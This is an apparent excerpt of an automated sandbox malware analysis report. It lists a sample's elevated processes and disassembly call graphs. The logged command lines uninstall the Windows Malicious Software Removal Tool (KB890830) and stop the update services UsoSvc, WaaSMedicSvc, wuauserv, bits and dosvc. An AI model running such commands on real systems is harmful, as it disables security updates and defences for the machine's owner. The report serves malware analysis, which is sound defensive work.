                                                              Commandline:C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                              Imagebase:0x7ff6bf880000
                                                              File size:289'792 bytes
                                                              MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:30
                                                              Start time:08:02:30
                                                              Start date:08/10/2024
                                                              Path:C:\Windows\System32\sc.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\sc.exe stop UsoSvc
                                                              Imagebase:0x7ff6edda0000
                                                              File size:72'192 bytes
                                                              MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:31
                                                              Start time:08:02:30
                                                              Start date:08/10/2024
                                                              Path:C:\Windows\System32\conhost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              Imagebase:0x7ff620390000
                                                              File size:862'208 bytes
                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:32
                                                              Start time:08:02:30
                                                              Start date:08/10/2024
                                                              Path:C:\Windows\System32\conhost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              Imagebase:0x7ff620390000
                                                              File size:862'208 bytes
                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:33
                                                              Start time:08:02:30
                                                              Start date:08/10/2024
                                                              Path:C:\Windows\System32\wusa.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:wusa /uninstall /kb:890830 /quiet /norestart
                                                              Imagebase:0x7ff7824a0000
                                                              File size:345'088 bytes
                                                              MD5 hash:FBDA2B8987895780375FE0E6254F6198
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:34
                                                              Start time:08:02:30
                                                              Start date:08/10/2024
                                                              Path:C:\Windows\System32\sc.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                                              Imagebase:0x7ff6edda0000
                                                              File size:72'192 bytes
                                                              MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:35
                                                              Start time:08:02:30
                                                              Start date:08/10/2024
                                                              Path:C:\Windows\System32\conhost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              Imagebase:0x7ff620390000
                                                              File size:862'208 bytes
                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:36
                                                              Start time:08:02:30
                                                              Start date:08/10/2024
                                                              Path:C:\Windows\System32\sc.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\sc.exe stop wuauserv
                                                              Imagebase:0x7ff6edda0000
                                                              File size:72'192 bytes
                                                              MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:37
                                                              Start time:08:02:30
                                                              Start date:08/10/2024
                                                              Path:C:\Windows\System32\conhost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              Imagebase:0x7ff620390000
                                                              File size:862'208 bytes
                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:38
                                                              Start time:08:02:30
                                                              Start date:08/10/2024
                                                              Path:C:\Windows\System32\sc.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\sc.exe stop bits
                                                              Imagebase:0x7ff6edda0000
                                                              File size:72'192 bytes
                                                              MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:39
                                                              Start time:08:02:30
                                                              Start date:08/10/2024
                                                              Path:C:\Windows\System32\conhost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              Imagebase:0x7ff620390000
                                                              File size:862'208 bytes
                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:40
                                                              Start time:08:02:30
                                                              Start date:08/10/2024
                                                              Path:C:\Windows\System32\sc.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\sc.exe stop dosvc
                                                              Imagebase:0x7ff6edda0000
                                                              File size:72'192 bytes
                                                              MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:41
                                                              Start time:08:02:30
                                                              Start date:08/10/2024
                                                              Path:C:\Windows\System32\conhost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              Imagebase:0x7ff620390000
                                                              File size:862'208 bytes
                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:42
                                                              Start time:08:02:30
                                                              Start date:08/10/2024
                                                              Path:C:\Windows\System32\conhost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\conhost.exe
                                                              Imagebase:0x7ff620390000
                                                              File size:862'208 bytes
                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:false

                                                              General

                                                              Target ID:43
                                                              Start time:08:02:30
                                                              Start date:08/10/2024
                                                              Path:C:\Windows\explorer.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:explorer.exe
                                                              Imagebase:0x7ff609fd0000
                                                              File size:5'141'208 bytes
                                                              MD5 hash:662F4F92FDE3557E86D110526BB578D5
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:false

                                                              Disassembly

                                                              Reset < >

                                                                Executed Functions

                                                                Function 00007FF611DA1140 Relevance: .0, Instructions: 4COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.1412687989.00007FF611DA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF611DA0000, based on PE: true
                                                                • Associated: 00000000.00000002.1412663203.00007FF611DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                • Associated: 00000000.00000002.1412719072.00007FF611DAB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                • Associated: 00000000.00000002.1412741295.00007FF611DAE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                • Associated: 00000000.00000002.1412766387.00007FF611DAF000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                • Associated: 00000000.00000002.1413505403.00007FF6122A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                • Associated: 00000000.00000002.1413542914.00007FF6122A9000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                • Associated: 00000000.00000002.1413574595.00007FF6122AC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_0_2_7ff611da0000_frik.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 09aa500106249f898c70f176d5dd8b6a7b84f69ff7d021052aa52de95c06f874
                                                                • Instruction ID: b1a8bf6c3658eaf4f24063a392b03244fe64fb71abeb2a1672b21aae2d2b732f
                                                                • Opcode Fuzzy Hash: 09aa500106249f898c70f176d5dd8b6a7b84f69ff7d021052aa52de95c06f874
                                                                • Instruction Fuzzy Hash: 0AB01234D04B0D84E300AF11F84136832646B09F91F400630C51C43372DE7D60414B11

                                                                Executed Functions

                                                                Function 00007FF743041140 Relevance: .0, Instructions: 4COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000001A.00000002.1453992806.00007FF743041000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF743040000, based on PE: true
                                                                • Associated: 0000001A.00000002.1453968013.00007FF743040000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                • Associated: 0000001A.00000002.1454020887.00007FF74304B000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                • Associated: 0000001A.00000002.1454047690.00007FF74304E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                • Associated: 0000001A.00000002.1454270415.00007FF7432D0000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                • Associated: 0000001A.00000002.1454474560.00007FF743547000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                • Associated: 0000001A.00000002.1454492733.00007FF743549000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                • Associated: 0000001A.00000002.1454508425.00007FF74354C000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_26_2_7ff743040000_Chrome.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 09aa500106249f898c70f176d5dd8b6a7b84f69ff7d021052aa52de95c06f874
                                                                • Instruction ID: d38fc499e45c5198041fd6bbc5e88e632d7e01b0d119048806f3a79de2782342
                                                                • Opcode Fuzzy Hash: 09aa500106249f898c70f176d5dd8b6a7b84f69ff7d021052aa52de95c06f874
                                                                • Instruction Fuzzy Hash: C5B0922094C209C5F2483B15984126862616B28741F800120C41C22372CA6D55405B20

                                                                Execution Graph

                                                                Execution Coverage:2.2%
                                                                Dynamic/Decrypted Code Coverage:0%
                                                                Signature Coverage:13.6%
                                                                Total number of Nodes:897
                                                                Total number of Limit Nodes:2
                                                                execution_graph 2986 140001ac3 2989 140001a70 2986->2989 2987 14000199e 2991 140001a0f 2987->2991 2993 1400019e9 VirtualProtect 2987->2993 2988 140001b36 2990 140001ba0 4 API calls 2988->2990 2989->2987 2989->2988 2992 140001b53 2989->2992 2990->2992 2993->2987 2090 140001ae4 2091 140001a70 2090->2091 2092 14000199e 2091->2092 2093 140001b36 2091->2093 2096 140001b53 2091->2096 2095 140001a0f 2092->2095 2097 1400019e9 VirtualProtect 2092->2097 2098 140001ba0 2093->2098 2097->2092 2100 140001bc2 2098->2100 2099 140001c04 memcpy 2099->2096 2100->2099 2102 140001c45 VirtualQuery 2100->2102 2103 140001cf4 2100->2103 2102->2103 2107 140001c72 2102->2107 2104 140001d23 GetLastError 2103->2104 2105 140001d37 2104->2105 2106 140001ca4 VirtualProtect 2106->2099 2106->2104 2107->2099 2107->2106 2135 140001404 2208 140001394 2135->2208 2137 140001413 2138 140001394 2 API calls 2137->2138 2139 140001422 2138->2139 2140 140001394 2 API calls 2139->2140 2141 140001431 2140->2141 2142 140001394 2 API calls 2141->2142 2143 140001440 2142->2143 2144 140001394 2 API calls 2143->2144 2145 14000144f 2144->2145 2146 140001394 2 API calls 2145->2146 2147 14000145e 2146->2147 2148 140001394 2 API calls 2147->2148 2149 14000146d 2148->2149 2150 140001394 2 API calls 2149->2150 2151 14000147c 2150->2151 2152 140001394 2 API calls 2151->2152 2153 14000148b 2152->2153 2154 140001394 2 API calls 2153->2154 2155 14000149a 2154->2155 2156 140001394 2 API calls 2155->2156 2157 1400014a9 2156->2157 2158 140001394 2 API calls 2157->2158 2159 1400014b8 2158->2159 2160 140001394 2 API calls 2159->2160 2161 1400014c7 2160->2161 2162 140001394 2 API calls 2161->2162 2163 1400014d6 2162->2163 2164 1400014e5 2163->2164 2165 140001394 2 API calls 2163->2165 2166 140001394 2 API calls 2164->2166 2165->2164 2167 1400014ef 2166->2167 2168 1400014f4 2167->2168 2169 140001394 2 API calls 2167->2169 2170 140001394 2 API calls 2168->2170 2169->2168 2171 1400014fe 2170->2171 2172 140001503 2171->2172 2173 140001394 2 API calls 2171->2173 2174 140001394 2 API calls 2172->2174 2173->2172 2175 14000150d 2174->2175 2176 140001394 2 API calls 2175->2176 2177 140001512 2176->2177 2178 140001394 2 API calls 2177->2178 2179 140001521 2178->2179 2180 140001394 2 API calls 2179->2180 2181 140001530 2180->2181 2182 140001394 2 API calls 2181->2182 2183 14000153f 2182->2183 2184 140001394 2 API calls 2183->2184 2185 14000154e 2184->2185 2186 140001394 2 API calls 2185->2186 2187 14000155d 2186->2187 2188 140001394 2 API calls 2187->2188 2189 14000156c 2188->2189 2190 140001394 2 API calls 2189->2190 2191 14000157b 2190->2191 2192 140001394 2 API calls 2191->2192 2193 14000158a 2192->2193 2194 140001394 2 API calls 2193->2194 2195 140001599 2194->2195 2196 140001394 2 API calls 2195->2196 2197 1400015a8 2196->2197 2198 140001394 2 API calls 2197->2198 2199 1400015b7 2198->2199 2200 140001394 2 API calls 2199->2200 2201 1400015c6 2200->2201 2202 140001394 2 API calls 2201->2202 2203 1400015d5 2202->2203 2204 140001394 2 API calls 2203->2204 2205 1400015e4 2204->2205 2206 140001394 2 API calls 2205->2206 2207 1400015f3 2206->2207 2209 140006520 malloc 2208->2209 2210 1400013b8 2209->2210 2211 1400013c6 NtQueryAttributesFile 2210->2211 2211->2137 2212 140002104 2213 140002111 EnterCriticalSection 2212->2213 2217 140002218 2212->2217 2215 14000220b LeaveCriticalSection 2213->2215 2220 14000212e 2213->2220 2214 140002272 2215->2217 2216 140002241 DeleteCriticalSection 2216->2214 2217->2214 2217->2216 2219 140002230 free 2217->2219 2218 14000214d TlsGetValue GetLastError 2218->2220 2219->2216 2219->2219 2220->2215 2220->2218 2108 140001e65 2109 140001e67 signal 2108->2109 2110 140001e7c 2109->2110 2112 140001e99 2109->2112 2111 140001e82 signal 2110->2111 2110->2112 2111->2112 2994 140001f47 2995 140001e67 signal 2994->2995 2996 140001e99 2994->2996 2995->2996 2997 140001e7c 2995->2997 2997->2996 2998 140001e82 signal 2997->2998 2998->2996 2113 14000216f 2114 140002178 InitializeCriticalSection 2113->2114 2115 140002185 2113->2115 2114->2115 2116 140001a70 2119 14000199e 2116->2119 2120 140001a7d 2116->2120 2117 140001a0f 2118 1400019e9 VirtualProtect 2118->2119 2119->2117 2119->2118 2120->2116 2121 140001b53 2120->2121 2122 140001b36 2120->2122 2123 140001ba0 4 API calls 2122->2123 2123->2121 2221 140001e10 2222 140001e2f 2221->2222 2223 140001ecc 2222->2223 2227 140001eb5 2222->2227 2228 140001e55 2222->2228 2224 140001ed3 signal 2223->2224 2223->2227 2225 140001ee4 2224->2225 2224->2227 2226 140001eea signal 2225->2226 2225->2227 2226->2227 2228->2227 2229 140001f12 signal 2228->2229 2229->2227 2999 140002050 3000 14000205e EnterCriticalSection 2999->3000 3001 1400020cf 2999->3001 3002 1400020c2 LeaveCriticalSection 3000->3002 3003 140002079 3000->3003 3002->3001 3003->3002 3004 1400020bd free 3003->3004 3004->3002 3005 140001fd0 3006 140001fe4 3005->3006 3007 140002033 3005->3007 3006->3007 3008 140001ffd EnterCriticalSection LeaveCriticalSection 3006->3008 3008->3007 2238 140001ab3 2239 140001a70 2238->2239 2239->2238 2240 14000199e 2239->2240 2241 140001b36 2239->2241 2244 140001b53 2239->2244 2243 140001a0f 2240->2243 2245 1400019e9 VirtualProtect 2240->2245 2242 140001ba0 4 API calls 2241->2242 2242->2244 2245->2240 2080 140001394 2084 140006520 2080->2084 2082 1400013b8 2083 1400013c6 NtQueryAttributesFile 2082->2083 2085 14000653e 2084->2085 2088 14000656b 2084->2088 2085->2082 2086 140006613 2087 14000662f malloc 2086->2087 2089 140006650 2087->2089 2088->2085 2088->2086 2089->2085 2230 14000219e 2231 140002272 2230->2231 2232 1400021ab EnterCriticalSection 2230->2232 2233 140002265 LeaveCriticalSection 2232->2233 2235 1400021c8 2232->2235 2233->2231 2234 1400021e9 TlsGetValue GetLastError 2234->2235 2235->2233 2235->2234 2124 140001800 2125 140001812 2124->2125 2126 140001835 fprintf 2125->2126 2127 140001000 2128 14000108b __set_app_type 2127->2128 2129 140001040 2127->2129 2131 1400010b6 2128->2131 2129->2128 2130 1400010e5 2131->2130 2133 140001e00 2131->2133 2134 140006ac0 __setusermatherr 2133->2134 2236 140002320 strlen 2237 140002337 2236->2237 2246 140001140 2249 140001160 2246->2249 2248 140001156 2250 1400011b9 2249->2250 2251 14000118b 2249->2251 2252 1400011d3 2250->2252 2253 1400011c7 _amsg_exit 2250->2253 2251->2250 2254 1400011a0 Sleep 2251->2254 2255 140001201 _initterm 2252->2255 2256 14000121a 2252->2256 2253->2252 2254->2250 2254->2251 2255->2256 2272 140001880 2256->2272 2259 14000126a 2260 14000126f malloc 2259->2260 2261 14000128b 2260->2261 2263 1400012d0 2260->2263 2262 1400012a0 strlen malloc memcpy 2261->2262 2262->2262 2262->2263 2283 140003240 2263->2283 2265 140001315 2266 140001344 2265->2266 2267 140001324 2265->2267 2270 140001160 76 API calls 2266->2270 2268 140001338 2267->2268 2269 14000132d _cexit 2267->2269 2268->2248 2269->2268 2271 140001366 2270->2271 2271->2248 2273 140001247 SetUnhandledExceptionFilter 2272->2273 2274 1400018a2 2272->2274 2273->2259 2274->2273 2278 14000194d 2274->2278 2279 140001a20 2274->2279 2275 140001ba0 4 API calls 2275->2278 2276 14000199e 2276->2273 2277 1400019e9 VirtualProtect 2276->2277 2277->2276 2278->2275 2278->2276 2279->2276 2280 140001b36 2279->2280 2282 140001b53 2279->2282 2281 140001ba0 4 API calls 2280->2281 2281->2282 2286 140003256 2283->2286 2284 14000336c wcslen 2393 14000153f 2284->2393 2286->2284 2288 14000356e 2288->2265 2291 140003467 2294 14000348d memset 2291->2294 2296 1400034bf 2294->2296 2297 14000350f wcslen 2296->2297 2298 140003525 2297->2298 2302 14000356c 2297->2302 2299 140003540 _wcsnicmp 2298->2299 2300 140003556 wcslen 2299->2300 2299->2302 2300->2299 2300->2302 2301 140003631 wcscpy wcscat memset 2304 140003670 2301->2304 2302->2301 2303 1400036b3 wcscpy wcscat memset 2305 1400036f6 2303->2305 2304->2303 2306 1400037fe wcscpy wcscat memset 2305->2306 2307 140003840 2306->2307 2308 140003b8d wcslen 2307->2308 2309 140003b9b 2308->2309 2313 140003bcb 2308->2313 2310 140003ba0 _wcsnicmp 2309->2310 2311 140003bb6 wcslen 2310->2311 2310->2313 2311->2310 2311->2313 2312 140003c2c wcscpy wcscat memset 2315 140003c6e 2312->2315 2313->2312 2314 140003cb1 wcscpy wcscat memset 2317 140003cf7 2314->2317 2315->2314 2316 140003d27 wcscpy wcscat 2318 1400060a5 memcpy 2316->2318 2320 140003d59 2316->2320 2317->2316 2318->2320 2319 140003eac wcslen 2322 140003ef1 2319->2322 2320->2319 2321 140003f56 wcslen memset 2533 14000157b 2321->2533 2322->2321 2324 1400045bf memset 2325 1400045ee 2324->2325 2326 140004633 wcscpy wcscat wcslen 2325->2326 2574 14000146d 2326->2574 2330 1400045a9 2331 14000145e 2 API calls 2330->2331 2334 1400045a4 2331->2334 2332 1400047d3 2339 140004812 memset 2332->2339 2333 14000157b 2 API calls 2365 14000407f 2333->2365 2334->2324 2337 140004743 2660 1400014a9 2337->2660 2338 1400047ef 2344 14000145e 2 API calls 2338->2344 2342 140006186 2339->2342 2343 140004836 wcscpy wcscat wcslen 2339->2343 2384 140004960 2343->2384 2344->2332 2347 1400047df 2352 14000145e 2 API calls 2347->2352 2348 14000145e 2 API calls 2348->2365 2350 1400043d4 _wcsnicmp 2354 14000458c 2350->2354 2350->2365 2352->2332 2355 14000145e 2 API calls 2354->2355 2357 140004598 2355->2357 2356 1400047c7 2358 14000145e 2 API calls 2356->2358 2361 14000145e 2 API calls 2357->2361 2358->2332 2359 140004432 _wcsnicmp 2359->2354 2359->2365 2360 140004a59 wcslen 2362 14000153f 2 API calls 2360->2362 2361->2334 2362->2384 2363 140005caf memcpy 2363->2384 2364 140004486 _wcsnicmp 2364->2354 2364->2365 2365->2324 2365->2330 2365->2333 2365->2348 2365->2350 2365->2359 2365->2364 2366 140004257 wcsstr 2365->2366 2550 140001599 2365->2550 2563 1400015a8 2365->2563 2366->2354 2366->2365 2367 140004bcd wcslen 2368 14000153f 2 API calls 2367->2368 2368->2384 2369 14000501d wcslen 2371 14000153f 2 API calls 2369->2371 2370 140004db2 wcslen 2372 14000157b 2 API calls 2370->2372 2371->2384 2372->2384 2373 140004e35 memset 2373->2384 2374 140005941 wcscpy wcscat wcslen 2376 140001422 2 API calls 2374->2376 2375 140005e80 memcpy 2375->2384 2376->2384 2377 140004e9f wcslen 2378 1400015a8 2 API calls 2377->2378 2378->2384 2381 140004f07 _wcsnicmp 2381->2384 2382 140005a8c 2382->2265 2383 140005b37 wcslen 2385 1400015a8 2 API calls 2383->2385 2384->2360 2384->2363 2384->2367 2384->2369 2384->2370 2384->2373 2384->2374 2384->2375 2384->2377 2384->2381 2384->2382 2384->2383 2386 1400056dd memset 2384->2386 2387 1400058e0 memset 2384->2387 2388 1400027d0 11 API calls 2384->2388 2389 14000574b memset 2384->2389 2390 1400057a5 wcscpy wcscat wcslen 2384->2390 2392 14000145e NtQueryAttributesFile malloc 2384->2392 2776 1400014d6 2384->2776 2821 140001521 2384->2821 2919 140001431 2384->2919 2385->2384 2386->2384 2386->2387 2387->2384 2388->2384 2389->2384 2850 140001422 2390->2850 2392->2384 2394 140001394 2 API calls 2393->2394 2395 14000154e 2394->2395 2396 140001394 2 API calls 2395->2396 2397 14000155d 2396->2397 2398 140001394 2 API calls 2397->2398 2399 14000156c 2398->2399 2400 140001394 2 API calls 2399->2400 2401 14000157b 2400->2401 2402 140001394 2 API calls 2401->2402 2403 14000158a 2402->2403 2404 140001394 2 API calls 2403->2404 2405 140001599 2404->2405 2406 140001394 2 API calls 2405->2406 2407 1400015a8 2406->2407 2408 140001394 2 API calls 2407->2408 2409 1400015b7 2408->2409 2410 140001394 2 API calls 2409->2410 2411 1400015c6 2410->2411 2412 140001394 2 API calls 2411->2412 2413 1400015d5 2412->2413 2414 140001394 2 API calls 2413->2414 2415 1400015e4 2414->2415 2416 140001394 2 API calls 2415->2416 2417 1400015f3 2416->2417 2417->2288 2418 140001503 2417->2418 2419 140001394 2 API calls 2418->2419 2420 14000150d 2419->2420 2421 140001394 2 API calls 2420->2421 2422 140001512 2421->2422 2423 140001394 2 API calls 2422->2423 2424 140001521 2423->2424 2425 140001394 2 API calls 2424->2425 2426 140001530 2425->2426 2427 140001394 2 API calls 2426->2427 2428 14000153f 2427->2428 2429 140001394 2 API calls 2428->2429 2430 14000154e 2429->2430 2431 140001394 2 API calls 2430->2431 2432 14000155d 2431->2432 2433 140001394 2 API calls 2432->2433 2434 14000156c 2433->2434 2435 140001394 2 API calls 2434->2435 2436 14000157b 2435->2436 2437 140001394 2 API calls 2436->2437 2438 14000158a 2437->2438 2439 140001394 2 API calls 2438->2439 2440 140001599 2439->2440 2441 140001394 2 API calls 2440->2441 2442 1400015a8 2441->2442 2443 140001394 2 API calls 2442->2443 2444 1400015b7 2443->2444 2445 140001394 2 API calls 2444->2445 2446 1400015c6 2445->2446 2447 140001394 2 API calls 2446->2447 2448 1400015d5 2447->2448 2449 140001394 2 API calls 2448->2449 2450 1400015e4 2449->2450 2451 140001394 2 API calls 2450->2451 2452 1400015f3 2451->2452 2452->2291 2453 14000156c 2452->2453 2454 140001394 2 API calls 2453->2454 2455 14000157b 2454->2455 2456 140001394 2 API calls 2455->2456 2457 14000158a 2456->2457 2458 140001394 2 API calls 2457->2458 2459 140001599 2458->2459 2460 140001394 2 API calls 2459->2460 2461 1400015a8 2460->2461 2462 140001394 2 API calls 2461->2462 2463 1400015b7 2462->2463 2464 140001394 2 API calls 2463->2464 2465 1400015c6 2464->2465 2466 140001394 2 API calls 2465->2466 2467 1400015d5 2466->2467 2468 140001394 2 API calls 2467->2468 2469 1400015e4 2468->2469 2470 140001394 2 API calls 2469->2470 2471 1400015f3 2470->2471 2471->2291 2472 14000145e 2471->2472 2473 140001394 2 API calls 2472->2473 2474 14000146d 2473->2474 2475 140001394 2 API calls 2474->2475 2476 14000147c 2475->2476 2477 140001394 2 API calls 2476->2477 2478 14000148b 2477->2478 2479 140001394 2 API calls 2478->2479 2480 14000149a 2479->2480 2481 140001394 2 API calls 2480->2481 2482 1400014a9 2481->2482 2483 140001394 2 API calls 2482->2483 2484 1400014b8 2483->2484 2485 140001394 2 API calls 2484->2485 2486 1400014c7 2485->2486 2487 140001394 2 API calls 2486->2487 2488 1400014d6 2487->2488 2489 1400014e5 2488->2489 2490 140001394 2 API calls 2488->2490 2491 140001394 2 API calls 2489->2491 2490->2489 2492 1400014ef 2491->2492 2493 1400014f4 2492->2493 2494 140001394 2 API calls 2492->2494 2495 140001394 2 API calls 2493->2495 2494->2493 2496 1400014fe 2495->2496 2497 140001503 2496->2497 2498 140001394 2 API calls 2496->2498 2499 140001394 2 API calls 2497->2499 2498->2497 2500 14000150d 2499->2500 2501 140001394 2 API calls 2500->2501 2502 140001512 2501->2502 2503 140001394 2 API calls 2502->2503 2504 140001521 2503->2504 2505 140001394 2 API calls 2504->2505 2506 140001530 2505->2506 2507 140001394 2 API calls 2506->2507 2508 14000153f 2507->2508 2509 140001394 2 API calls 2508->2509 2510 14000154e 2509->2510 2511 140001394 2 API calls 2510->2511 2512 14000155d 2511->2512 2513 140001394 2 API calls 2512->2513 2514 14000156c 2513->2514 2515 140001394 2 API calls 2514->2515 2516 14000157b 2515->2516 2517 140001394 2 API calls 2516->2517 2518 14000158a 2517->2518 2519 140001394 2 API calls 2518->2519 2520 140001599 2519->2520 2521 140001394 2 API calls 2520->2521 2522 1400015a8 2521->2522 2523 140001394 2 API calls 2522->2523 2524 1400015b7 2523->2524 2525 140001394 2 API calls 2524->2525 2526 1400015c6 2525->2526 2527 140001394 2 API calls 2526->2527 2528 1400015d5 2527->2528 2529 140001394 2 API calls 2528->2529 2530 1400015e4 2529->2530 2531 140001394 2 API calls 2530->2531 2532 1400015f3 2531->2532 2532->2291 2534 140001394 2 API calls 2533->2534 2535 14000158a 2534->2535 2536 140001394 2 API calls 2535->2536 2537 140001599 2536->2537 2538 140001394 2 API calls 2537->2538 2539 1400015a8 2538->2539 2540 140001394 2 API calls 2539->2540 2541 1400015b7 2540->2541 2542 140001394 2 API calls 2541->2542 2543 1400015c6 2542->2543 2544 140001394 2 API calls 2543->2544 2545 1400015d5 2544->2545 2546 140001394 2 API calls 2545->2546 2547 1400015e4 2546->2547 2548 140001394 2 API calls 2547->2548 2549 1400015f3 2548->2549 2549->2365 2551 140001394 2 API calls 2550->2551 2552 1400015a8 2551->2552 2553 140001394 2 API calls 2552->2553 2554 1400015b7 2553->2554 2555 140001394 2 API calls 2554->2555 2556 1400015c6 2555->2556 2557 140001394 2 API calls 2556->2557 2558 1400015d5 2557->2558 2559 140001394 2 API calls 2558->2559 2560 1400015e4 2559->2560 2561 140001394 2 API calls 2560->2561 2562 1400015f3 2561->2562 2562->2365 2564 140001394 2 API calls 2563->2564 2565 1400015b7 2564->2565 2566 140001394 2 API calls 2565->2566 2567 1400015c6 2566->2567 2568 140001394 2 API calls 2567->2568 2569 1400015d5 2568->2569 2570 140001394 2 API calls 2569->2570 2571 1400015e4 2570->2571 2572 140001394 2 API calls 2571->2572 2573 1400015f3 2572->2573 2573->2365 2575 140001394 2 API calls 2574->2575 2576 14000147c 2575->2576 2577 140001394 2 API calls 2576->2577 2578 14000148b 2577->2578 2579 140001394 2 API calls 2578->2579 2580 14000149a 2579->2580 2581 140001394 2 API calls 2580->2581 2582 1400014a9 2581->2582 2583 140001394 2 API calls 2582->2583 2584 1400014b8 2583->2584 2585 140001394 2 API calls 2584->2585 2586 1400014c7 2585->2586 2587 140001394 2 API calls 2586->2587 2588 1400014d6 2587->2588 2589 1400014e5 2588->2589 2590 140001394 2 API calls 2588->2590 2591 140001394 2 API calls 2589->2591 2590->2589 2592 1400014ef 2591->2592 2593 1400014f4 2592->2593 2594 140001394 2 API calls 2592->2594 2595 140001394 2 API calls 2593->2595 2594->2593 2596 1400014fe 2595->2596 2597 140001503 2596->2597 2598 140001394 2 API calls 2596->2598 2599 140001394 2 API calls 2597->2599 2598->2597 2600 14000150d 2599->2600 2601 140001394 2 API calls 2600->2601 2602 140001512 2601->2602 2603 140001394 2 API calls 2602->2603 2604 140001521 2603->2604 2605 140001394 2 API calls 2604->2605 2606 140001530 2605->2606 2607 140001394 2 API calls 2606->2607 2608 14000153f 2607->2608 2609 140001394 2 API calls 2608->2609 2610 14000154e 2609->2610 2611 140001394 2 API calls 2610->2611 2612 14000155d 